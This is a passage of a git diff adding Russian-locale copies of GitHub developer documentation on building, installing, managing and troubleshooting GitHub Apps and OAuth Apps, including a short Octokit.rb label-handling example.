message in the output that says, `An issue was opened!` Congrats! You've added an event handler to your app. 💪 + +## Step 3. Create a new label + +Okay, your app can tell when issues are opened. Now you want it to add the label `needs-response` to any newly opened issue in a repository the app is installed in. + +Before the label can be _added_ anywhere, you'll need to _create_ the custom label in your repository. You'll only need to do this one time. For the purposes of this guide, create the label manually on GitHub. In your repository, click **Issues**, then **Labels**, then click **New label**. Name the new label `needs-response`. + +{% tip %} + +**Tip**: Wouldn't it be great if your app could create the label programmatically? [It can](/rest/reference/issues#create-a-label)! Try adding the code to do that on your own after you finish the steps in this guide. + +{% endtip %} + +Now that the label exists, you can program your app to use the REST API to [add the label to any newly opened issue](/rest/reference/issues#add-labels-to-an-issue). + +## Step 4. Add label handling + +Congrats—you've made it to the final step: adding label handling to your app. For this task, you'll want to use the [Octokit.rb Ruby library](http://octokit.github.io/octokit.rb/). + +In the Octokit.rb docs, find the list of [label methods](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html). The method you'll want to use is [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method). + +Back in `template_server.rb`, find the method you defined previously: + +``` ruby +def handle_issue_opened_event(payload) + logger.debug 'An issue was opened!' +end +``` + +The [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method) docs show you'll need to pass three arguments to this method: + +* Repo (string in `"owner/name"` format) +* Issue number (integer) +* Labels (array) + +You can parse the payload to get both the repo and the issue number. Since the label name will always be the same (`needs-response`), you can pass it as a hardcoded string in the labels array. Putting these pieces together, your updated method might look like this: + +``` ruby +# When an issue is opened, add a label +def handle_issue_opened_event(payload) + repo = payload['repository']['full_name'] + issue_number = payload['issue']['number'] + @installation_client.add_labels_to_an_issue(repo, issue_number, ['needs-response']) +end +``` + +Try opening a new issue in your test repository and see what happens! If nothing happens right away, try refreshing. + +You won't see much in the Terminal, _but_ you should see that a bot user has added a label to the issue. + +{% note %} + +**Note:** When GitHub Apps take actions via the API, such as adding labels, GitHub shows these actions as being performed by _bot_ accounts. For more information, see "[Machine vs. bot accounts](/apps/differences-between-apps/#machine-vs-bot-accounts)." + +{% endnote %} + +If so, congrats! You've successfully built a working app! 🎉 + +You can see the final code in `server.rb` in the [app template repository](https://github.com/github-developer/using-the-github-api-in-your-app). + +See "[Next steps](#next-steps)" for ideas about where you can go from here. + +## Troubleshooting + +Here are a few common problems and some suggested solutions. If you run into any other trouble, you can ask for help or advice in the {% data reusables.support.prodname_support_forum_with_url %}. + +* **Q:** My server isn't listening to events! The Smee client is running in a Terminal window, and I'm sending events on GitHub.com by opening new issues, but I don't see any output in the Terminal window where I'm running the server. + + **A:** You may not have the correct Smee domain in your app settings. Visit your [app settings page](https://github.com/settings/apps) and double-check the fields shown in "[Register a new app with GitHub](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app)." Make sure the domain in those fields matches the domain you used in your `smee -u <unique_channel>` command in "[Start a new Smee channel](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)." + +* **Q:** My app doesn't work! I opened a new issue, but even after refreshing, no label has been added to it. + + **A:** Make sure all of the following are true: + + * You [installed the app](/apps/quickstart-guides/setting-up-your-development-environment/#step-7-install-the-app-on-your-account) on the repository where you're opening the issue. + * Your [Smee client is running](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel) in a Terminal window. + * Your [web server is running](/apps/quickstart-guides/setting-up-your-development-environment/#step-6-start-the-server) with no errors in another Terminal window. + * Your app has [read & write permissions on issues and is subscribed to issue events](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel). + * You [checked your email](#step-1-update-app-permissions) after updating the permissions and accepted the new permissions. + +## Conclusion + +After walking through this guide, you've learned the basic building blocks for developing GitHub Apps! To review, you: + +* Programmed your app to listen for events +* Used the Octokit.rb library to do REST API operations + +## Next steps + +Here are some ideas for what you can do next: + +* [Rewrite your app using GraphQL](https://developer.github.com/changes/2018-04-30-graphql-supports-github-apps/)! +* Rewrite your app in Node.js using [Probot](https://github.com/probot/probot)! +* Have the app check whether the `needs-response` label already exists on the issue, and if not, add it. +* When the bot successfully adds the label, show a message in the Terminal. (Hint: compare the `needs-response` label ID with the ID of the label in the payload as a condition for your message, so that the message only displays when the relevant label is added and not some other label.) +* Add a landing page to your app and hook up a [Sinatra route](https://github.com/sinatra/sinatra#routes) for it. +* Move your code to a hosted server (like Heroku). Don't forget to update your app settings with the new domain. +* Share your project or get advice in the {% data reusables.support.prodname_support_forum_with_url %}{% ifversion fpt or ghec %} +* Have you built a shiny new app you think others might find useful? [Add it to GitHub Marketplace](/apps/marketplace/creating-and-submitting-your-app-for-approval/)!{% endif %} diff --git a/translations/ru-RU/content/developers/apps/index.md b/translations/ru-RU/content/developers/apps/index.md new file mode 100644 index 000000000000..2a80fb615138 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/index.md @@ -0,0 +1,33 @@ +--- +title: Приложения +intro: 'Вы можете автоматизировать и оптимизировать рабочий процесс, создав собственные приложения.' +redirect_from: + - /early-access/integrations + - /early-access/integrations/authentication + - /early-access/integrations/install-an-integration + - /apps/adding-integrations + - /apps/building-integrations/setting-up-a-new-integration/about-integrations + - /apps + - /v3/integrations +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +children: + - /getting-started-with-apps + - /building-github-apps + - /managing-github-apps + - /building-oauth-apps + - /managing-oauth-apps + - /guides +ms.openlocfilehash: f95cba7e003e348d90627bd9291dcdc1b1fcc294 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145089906' +--- + diff --git a/translations/ru-RU/content/developers/apps/managing-github-apps/deleting-a-github-app.md b/translations/ru-RU/content/developers/apps/managing-github-apps/deleting-a-github-app.md new file mode 100644 index 000000000000..5c9cdb43cff9 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-github-apps/deleting-a-github-app.md @@ -0,0 +1,27 @@ +--- +title: Deleting a GitHub App +intro: '{% data reusables.shortdesc.deleting_github_apps %}' +redirect_from: + - /apps/building-integrations/managing-github-apps/deleting-a-github-app + - /apps/managing-github-apps/deleting-a-github-app + - /developers/apps/deleting-a-github-app +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +--- +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.github_apps %} +4. Select the GitHub App you want to delete. +![App selection](/assets/images/github-apps/github_apps_select-app.png) +{% data reusables.user-settings.github_apps_advanced %} +6. Click **Delete GitHub App**. +![Button to delete a GitHub App](/assets/images/github-apps/github_apps_delete.png) +7. Type the name of the GitHub App to confirm you want to delete it. +![Field to confirm the name of the GitHub App you want to delete](/assets/images/github-apps/github_apps_delete_integration_name.png) +8. Click **I understand the consequences, delete this GitHub App**. +![Button to confirm the deletion of your GitHub App](/assets/images/github-apps/github_apps_confirm_deletion.png) diff --git a/translations/ru-RU/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md b/translations/ru-RU/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md new file mode 100644 index 000000000000..3d9e709d7783 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md @@ -0,0 +1,37 @@ +--- +title: Editing a GitHub App's permissions +intro: '{% data reusables.shortdesc.editing_permissions_for_github_apps %}' +redirect_from: + - /apps/building-integrations/managing-github-apps/editing-a-github-app-s-permissions + - /apps/managing-github-apps/editing-a-github-app-s-permissions + - /developers/apps/editing-a-github-apps-permissions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Edit permissions +--- +{% note %} + +**Note:** Updated permissions won't take effect on an installation until the owner of the account or organization approves the changes. You can use the [InstallationEvent webhook](/webhooks/event-payloads/#installation) to find out when people accept new permissions for your app. One exception is [user-level permissions](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions), which don't require the account owner to approve permission changes. + +{% endnote %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.github_apps %} +4. Select the GitHub App whose permissions you want to change. +![App selection](/assets/images/github-apps/github_apps_select-app.png) +5. In the left sidebar, click **Permissions & webhooks**. +![Permissions and webhooks](/assets/images/github-apps/github_apps_permissions_and_webhooks.png) +6. Modify the permissions you'd like to change. For each type of permission, select either "Read-only", "Read & write", or "No access" from the dropdown. +![Permissions selections for your GitHub App](/assets/images/github-apps/github_apps_permissions_post2dot13.png) +7. In "Subscribe to events", select any events to which you'd like to subscribe your app. +![Permissions selections for subscribing your GitHub App to events](/assets/images/github-apps/github_apps_permissions_subscribe_to_events.png) +8. Optionally, in "Add a note to users", add a note telling your users why you are changing the permissions that your GitHub App requests. +![Input box to add a note to users explaining why your GitHub App permissions have changed](/assets/images/github-apps/github_apps_permissions_note_to_users.png) +9. Click **Save changes**. +![Button to save permissions changes](/assets/images/github-apps/github_apps_save_changes.png) diff --git a/translations/ru-RU/content/developers/apps/managing-github-apps/index.md b/translations/ru-RU/content/developers/apps/managing-github-apps/index.md new file mode 100644 index 000000000000..c7a405063ebf --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-github-apps/index.md @@ -0,0 +1,29 @@ +--- +title: Управление приложениями GitHub +intro: 'После создания и регистрации приложения GitHub вы сможете вносить изменения в приложение, изменять разрешения, передавать права владения и удалять приложение.' +redirect_from: + - /apps/building-integrations/managing-github-apps + - /apps/managing-github-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +children: + - /installing-github-apps + - /modifying-a-github-app + - /editing-a-github-apps-permissions + - /making-a-github-app-public-or-private + - /suspending-a-github-app-installation + - /transferring-ownership-of-a-github-app + - /deleting-a-github-app +ms.openlocfilehash: cc5e43e70c8cb248f89548f9bff7c8e369ee5988 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145089882' +--- + diff --git a/translations/ru-RU/content/developers/apps/managing-github-apps/installing-github-apps.md b/translations/ru-RU/content/developers/apps/managing-github-apps/installing-github-apps.md new file mode 100644 index 000000000000..369115bd4cd7 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-github-apps/installing-github-apps.md @@ -0,0 +1,75 @@ +--- +title: Установка приложений GitHub +intro: 'Если ваше приложение является общедоступным, любой пользователь может использовать {% ifversion fpt or ghec %} {% data variables.product.prodname_marketplace %} или {% endif %}URL-адрес установки для установки приложения в своем репозитории. Если ваше приложение является частным, его можно установить только в репозиториях, которыми вы владеете.' +redirect_from: + - /apps/installing-github-apps + - /developers/apps/installing-github-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +ms.openlocfilehash: 4244e1e4aacbcc5f7e0f16092df9823ce5832f0a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145089877' +--- +{% note %} + +**Примечание.** Ваш {% data variables.product.prodname_github_app %} будет иметь доступ ко всем репозиториям, которые создает приложение, даже если кто-то установит ваше приложение только в выбранных репозиториях. + +{% endnote %} + +## Установка частного приложения GitHub в репозитории + +Создав частное приложение GitHub, вы можете установить его в один из своих организационных или пользовательских репозиториев. Дополнительные сведения см. в разделе [Поток частной установки](/apps/managing-github-apps/making-a-github-app-public-or-private/#private-installation-flow). + +1. На [странице параметров приложений GitHub](https://github.com/settings/apps) выберите свое приложение. +2. На боковой панели слева щелкните **Установка приложения**. +3. Щелкните **Установить** рядом с организацией или личной учетной записью, содержащей правильный репозиторий. +4. Установите приложение во всех репозиториях или выберите репозитории. +![Разрешения на установку приложений](/assets/images/install_permissions.png) +5. После установки вы увидите параметры конфигурации для приложения в выбранной учетной записи. Здесь можно внести изменения или повторить предыдущие действия, чтобы установить приложение в другой учетной записи. + +{% ifversion fpt or ghec %} +## Предложение приложения в GitHub Marketplace + +Вы можете предложить платную или бесплатную версию приложения в [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace), где пользователи могут искать и просматривать сведения о приложении. {% data variables.product.prodname_marketplace %} автоматически устанавливает приложение GitHub по завершении заказа. + +См. раздел [Начало работы с GitHub Marketplace](/marketplace/getting-started/), чтобы узнать больше о размещении приложения на {% data variables.product.prodname_marketplace %}. + +Дополнительные сведения о том, как пользователи могут установить ваше приложение из {% data variables.product.prodname_marketplace %}, см. в разделе [Покупка и установка приложений в GitHub Marketplace](/articles/purchasing-and-installing-apps-in-github-marketplace). + +{% endif %} + +## Разрешение пользователям устанавливать общедоступное приложение в своем репозитории + +Можно разрешить другим пользователям устанавливать ваше общедоступное приложение, указав URL-адрес установки в таких местах, как домашняя страница вашего приложения. Затем можно указать домашнюю страницу своего приложения с целевой страницы на GitHub. + + При переходе с приложения OAuth на приложение GitHub можно использовать параметры запроса для предварительного выбора репозиториев и учетной записи при установке приложения GitHub. Дополнительные сведения см. в разделе [Миграция с приложений OAuth в приложения GitHub](/apps/migrating-oauth-apps-to-github-apps/). + +В этих инструкциях предполагается, что вы [создали {% data variables.product.prodname_github_app %}](/apps/building-github-apps/): + +1. На [странице параметров приложений GitHub](https://github.com/settings/apps) выберите общедоступное приложение, которое необходимо настроить, чтобы другие пользователи могли его установить. +2. В поле "URL-адрес домашней страницы" введите URL-адрес домашней страницы приложения и щелкните **Сохранить изменения**. +![URL-адрес домашней страницы](/assets/images/github-apps/github_apps_homepageURL.png) +3. GitHub предоставляет целевую страницу для приложения, которая содержит ссылку на "URL-адрес домашней страницы" приложения. Чтобы посетить целевую страницу на GitHub, скопируйте URL-адрес из "Общедоступной ссылки" и вставьте его в браузер. +![Общедоступная ссылка](/assets/images/github-apps/github_apps_public_link.png) +4. Создайте домашнюю страницу для приложения, включающую URL-адрес для установки приложения: `{% data variables.product.oauth_host_code %}/apps/<app name>/installations/new`. + +## Авторизация пользователей во время установки + +Процесс авторизации можно упростить, выполнив его во время установки приложения. Для этого выберите **Запросить авторизацию пользователя (OAuth)** во время установки при создании или изменении приложения в GitHub. Дополнительные сведения см. в разделе [Создание приложения GitHub](/apps/building-github-apps/creating-a-github-app/). + +После установки приложения потребуется получить маркер доступа для пользователя. Дополнительные сведения см. в шагах 2 и 3 в разделе [Идентификация пользователей на вашем сайте](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-users-on-your-site). +## Сохранение состояния приложения во время установки + +Можно указать параметр `state` в URL-адресе установки для приложения, чтобы сохранить состояние страницы приложения и вернуть людей в это состояние после установки, проверки подлинности или принятия обновлений для приложения GitHub. Например, можно использовать `state` для корреляции установки с пользователем или учетной записью. + +Чтобы сохранить состояние, добавьте в URL-адрес установки: + +`{% data variables.product.oauth_host_code %}/apps/<app name>/installations/new?state=AB12t` diff --git a/translations/ru-RU/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md b/translations/ru-RU/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md new file mode 100644 index 000000000000..7ca558774fcf --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md @@ -0,0 +1,43 @@ +--- +title: Making a GitHub App public or private +intro: '{% data reusables.shortdesc.making-a-github-app-public-or-private %}' +redirect_from: + - /apps/building-integrations/setting-up-and-registering-github-apps/about-installation-options-for-github-apps + - /apps/building-github-apps/installation-options-for-github-apps + - /apps/building-integrations/managing-github-apps/changing-a-github-app-s-installation-option + - /apps/managing-github-apps/changing-a-github-app-s-installation-option + - /apps/managing-github-apps/making-a-github-app-public-or-private + - /developers/apps/making-a-github-app-public-or-private +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Manage app visibility +--- +For authentication information, see "[Authenticating with GitHub Apps](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)." + +## Public installation flow + +Public installation flows have a landing page to enable other people besides the app owner to install the app in their repositories. This link is provided in the "Public link" field when setting up your GitHub App. For more information, see "[Installing GitHub Apps](/apps/installing-github-apps/)." + +## Private installation flow + +Private installation flows allow only the owner of a GitHub App to install it. Limited information about the GitHub App will still exist on a public page, but the **Install** button will only be available to organization administrators or the personal account if the GitHub App is owned by an individual account. Private GitHub Apps can only be installed on the user or organization account of the owner. + +## Changing who can install your GitHub App + +To change who can install the GitHub App: + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.github_apps %} +3. Select the GitHub App whose installation option you want to change. +![App selection](/assets/images/github-apps/github_apps_select-app.png) +{% data reusables.user-settings.github_apps_advanced %} +5. Depending on the installation option of your GitHub App, click either **Make public** or **Make private**. +![Button to change the installation option of your GitHub App](/assets/images/github-apps/github_apps_make_public.png) +6. Depending on the installation option of your GitHub App, click either **Yes, make this GitHub App public** or **Yes, make this GitHub App {% ifversion fpt or ghec %}internal{% else %}private{% endif %}**. +![Button to confirm the change of your installation option](/assets/images/github-apps/github_apps_confirm_installation_option.png) diff --git a/translations/ru-RU/content/developers/apps/managing-github-apps/modifying-a-github-app.md b/translations/ru-RU/content/developers/apps/managing-github-apps/modifying-a-github-app.md new file mode 100644 index 000000000000..7db3d8f06c1a --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-github-apps/modifying-a-github-app.md @@ -0,0 +1,25 @@ +--- +title: Modifying a GitHub App +intro: '{% data reusables.shortdesc.modifying_github_apps %}' +redirect_from: + - /apps/building-integrations/managing-github-apps/modifying-a-github-app + - /apps/managing-github-apps/modifying-a-github-app + - /developers/apps/modifying-a-github-app +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +--- +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.github_apps %} +{% data reusables.user-settings.modify_github_app %} +5. In "Basic information", modify the GitHub App information that you'd like to change. +![Basic information section for your GitHub App](/assets/images/github-apps/github_apps_basic_information.png){% ifversion device-flow-is-opt-in %} +1. If your GitHub App will use the device flow to identify and authorize users, click **Enable device flow**. For more information about the device flow, see "[Authorizing OAuth Apps](/developers/apps/building-oauth-apps/authorizing-oauth-apps#device-flow)." + ![Screenshot showing field for enabling device flow](/assets/images/oauth-apps/enable-device-flow.png){% endif %} +6. Click **Save changes**. +![Button to save changes for your GitHub App](/assets/images/github-apps/github_apps_save_changes.png) diff --git a/translations/ru-RU/content/developers/apps/managing-github-apps/suspending-a-github-app-installation.md b/translations/ru-RU/content/developers/apps/managing-github-apps/suspending-a-github-app-installation.md new file mode 100644 index 000000000000..85aa09647bd2 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-github-apps/suspending-a-github-app-installation.md @@ -0,0 +1,31 @@ +--- +title: Suspending a GitHub App installation +intro: '{% data reusables.shortdesc.suspending_a_github_app %}' +redirect_from: + - /apps/managing-github-apps/suspending-a-github-app-installation + - /developers/apps/suspending-a-github-app-installation +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Suspend app installation +--- +## Suspending a GitHub App + +The integrator who owns and maintains a GitHub app, also called a GitHub App owner, can suspend or unsuspend a GitHub App installation using REST API endpoints with a JWT. For more information, see the [GitHub Apps REST API](/rest/reference/apps). + +People who have installed a GitHub App, also called installation owners, can only suspend or unsuspend a GitHub App through their app's installation settings. Installation owners cannot use the API to suspend or unsuspend their app installation. + +If an installation has been suspended by the {% data variables.product.prodname_github_app %} owner, installation owners cannot unsuspend their installations of the {% data variables.product.prodname_github_app %}. However, installation owners can change other settings, such as repository selection, while the app is suspended. + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.github_apps %} +1. Select the {% data variables.product.prodname_github_app %} you want to suspend. +![App selection](/assets/images/github-apps/github_apps_select-app.png) +{% data reusables.user-settings.github_apps_advanced %} +6. Next to the suspension settings for the installation, click **Suspend** or **Unsuspend**. +![Suspend a GitHub App](/assets/images/github-apps/suspend-a-github-app.png) diff --git a/translations/ru-RU/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md b/translations/ru-RU/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md new file mode 100644 index 000000000000..4bbe104d16d1 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md @@ -0,0 +1,30 @@ +--- +title: Transferring ownership of a GitHub App +intro: '{% data reusables.shortdesc.transferring_ownership_of_github_apps %}' +redirect_from: + - /apps/building-integrations/managing-github-apps/transferring-ownership-of-a-github-app + - /apps/managing-github-apps/transferring-ownership-of-a-github-app + - /developers/apps/transferring-ownership-of-a-github-app +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Transfer ownership +--- +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.github_apps %} +4. Select the GitHub App whose ownership you want to transfer. +![App selection](/assets/images/github-apps/github_apps_select-app.png) +{% data reusables.user-settings.github_apps_advanced %} +6. Click **Transfer ownership**. +![Button to transfer ownership](/assets/images/github-apps/github_apps_transfer_ownership.png) +7. Type the name of the GitHub App you want to transfer. +![Field to enter the name of the app to transfer](/assets/images/github-apps/github_apps_transfer_app_name.png) +8. Type the name of the user or organization you want to transfer the GitHub App to. +![Field to enter the user or org to transfer to](/assets/images/github-apps/github_apps_transfer_new_owner.png) +9. Click **Transfer this GitHub App**. +![Button to confirm the transfer of a GitHub App](/assets/images/github-apps/github_apps_transfer_integration.png) diff --git a/translations/ru-RU/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md b/translations/ru-RU/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md new file mode 100644 index 000000000000..21cfeb7169a9 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md @@ -0,0 +1,26 @@ +--- +title: Deleting an OAuth App +intro: '{% data reusables.shortdesc.deleting_oauth_apps %}' +redirect_from: + - /apps/building-integrations/managing-oauth-apps/deleting-an-oauth-app + - /apps/managing-oauth-apps/deleting-an-oauth-app + - /developers/apps/deleting-an-oauth-app +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - OAuth Apps +--- +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.oauth_apps %} +4. Select the {% data variables.product.prodname_oauth_app %} you want to modify. +![App selection](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png) +5. In the left sidebar, click **Advanced**. +![App selection](/assets/images/oauth-apps/oauth_apps_sidebar_advanced.png) +6. Click **Delete application**. +![Button to delete the application](/assets/images/oauth-apps/oauth_apps_delete_application.png) +7. Click **Delete this OAuth Application**. +![Button to confirm the deletion](/assets/images/oauth-apps/oauth_apps_delete_confirm.png) diff --git a/translations/ru-RU/content/developers/apps/managing-oauth-apps/index.md b/translations/ru-RU/content/developers/apps/managing-oauth-apps/index.md new file mode 100644 index 000000000000..604345f8bd5e --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-oauth-apps/index.md @@ -0,0 +1,27 @@ +--- +title: Управление приложениями OAuth +intro: 'После создания и регистрации приложения OAuth вы сможете вносить изменения в приложение, изменять разрешения, передавать права владения и удалять приложение.' +redirect_from: + - /apps/building-integrations/managing-oauth-apps + - /apps/managing-oauth-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - OAuth Apps +children: + - /modifying-an-oauth-app + - /transferring-ownership-of-an-oauth-app + - /troubleshooting-authorization-request-errors + - /troubleshooting-oauth-app-access-token-request-errors + - /deleting-an-oauth-app +ms.openlocfilehash: d88b40b663b70b8a09bc877e36b3631b3b2cc648 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145089826' +--- + diff --git a/translations/ru-RU/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md b/translations/ru-RU/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md new file mode 100644 index 000000000000..c6196ae9215d --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md @@ -0,0 +1,21 @@ +--- +title: Modifying an OAuth App +intro: '{% data reusables.shortdesc.modifying_oauth_apps %}' +redirect_from: + - /apps/building-integrations/managing-oauth-apps/modifying-an-oauth-app + - /apps/managing-oauth-apps/modifying-an-oauth-app + - /developers/apps/modifying-an-oauth-app +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - OAuth Apps +--- +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.oauth_apps %} +{% data reusables.user-settings.modify_oauth_app %} +1. Modify the {% data variables.product.prodname_oauth_app %} information that you'd like to change. +{% data reusables.user-settings.update_oauth_app %} diff --git a/translations/ru-RU/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md b/translations/ru-RU/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md new file mode 100644 index 000000000000..975ec5bafba9 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md @@ -0,0 +1,29 @@ +--- +title: Transferring ownership of an OAuth App +intro: '{% data reusables.shortdesc.transferring_ownership_of_oauth_apps %}' +redirect_from: + - /apps/building-integrations/managing-oauth-apps/transferring-ownership-of-an-oauth-app + - /apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app + - /developers/apps/transferring-ownership-of-an-oauth-app +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - OAuth Apps +shortTitle: Transfer ownership +--- +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.oauth_apps %} +4. Select the {% data variables.product.prodname_oauth_app %} you want to modify. +![App selection](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png) +5. Click **Transfer ownership**. +![Button to transfer ownership](/assets/images/oauth-apps/oauth_apps_transfer_ownership.png) +6. Type the name of the {% data variables.product.prodname_oauth_app %} you want to transfer. +![Field to enter the name of the app to transfer](/assets/images/oauth-apps/oauth_apps_transfer_oauth_name.png) +7. Type the name of the user or organization you want to transfer the {% data variables.product.prodname_oauth_app %} to. +![Field to enter the user or org to transfer to](/assets/images/oauth-apps/oauth_apps_transfer_new_owner.png) +8. Click **Transfer this application**. +![Button to transfer the application](/assets/images/oauth-apps/oauth_apps_transfer_application.png) diff --git a/translations/ru-RU/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md b/translations/ru-RU/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md new file mode 100644 index 000000000000..cf7cfe81f998 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md @@ -0,0 +1,54 @@ +--- +title: Устранение ошибок запросов на авторизацию +intro: '{% data reusables.shortdesc.troubleshooting_authorization_request_errors_oauth_apps %}' +redirect_from: + - /apps/building-integrations/managing-oauth-apps/troubleshooting-authorization-request-errors + - /apps/managing-oauth-apps/troubleshooting-authorization-request-errors + - /developers/apps/troubleshooting-authorization-request-errors +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Troubleshoot authorization +ms.openlocfilehash: 8706453423298277ed27ac5f950c562db8a42a09 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145089802' +--- +## Приложение приостановлено + +Если настроенное приложение OAuth было приостановлено (из-за сообщений о злоупотреблениях, спаме или неправильном использовании API), GitHub перенаправит на зарегистрированный URL-адрес обратного вызова, используя следующие параметры для сведения данных об ошибке: + + http://your-application.com/callback?error=application_suspended + &error_description=Your+application+has+been+suspended.+Contact+support@github.com. + &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23application-suspended + &state=xyz + +Чтобы решить проблемы с приостановленными приложениями, обратитесь в {% data variables.contact.contact_support %}. + +## Несоответствие URI перенаправления + +Если указать `redirect_uri`, который не соответствует зарегистрированным в приложении данным, GitHub перенаправит на зарегистрированный URL-адрес обратного вызова со следующими параметрами, выполняющими сведение данных об ошибке: + + http://your-application.com/callback?error=redirect_uri_mismatch + &error_description=The+redirect_uri+MUST+match+the+registered+callback+URL+for+this+application. + &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23redirect-uri-mismatch + &state=xyz + +Чтобы исправить эту ошибку, укажите `redirect_uri`, который соответствует зарегистрированному, или оставьте этот параметр пустым, чтобы использовался зарегистрированный по умолчанию с приложением. + +### Доступ запрещен + +Если пользователь отклоняет доступ к вашему приложению, GitHub перенаправит на зарегистрированный URL-адрес обратного вызова со следующими параметрами, выполняющими сведение данных об ошибке: + + http://your-application.com/callback?error=access_denied + &error_description=The+user+has+denied+your+application+access. + &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23access-denied + 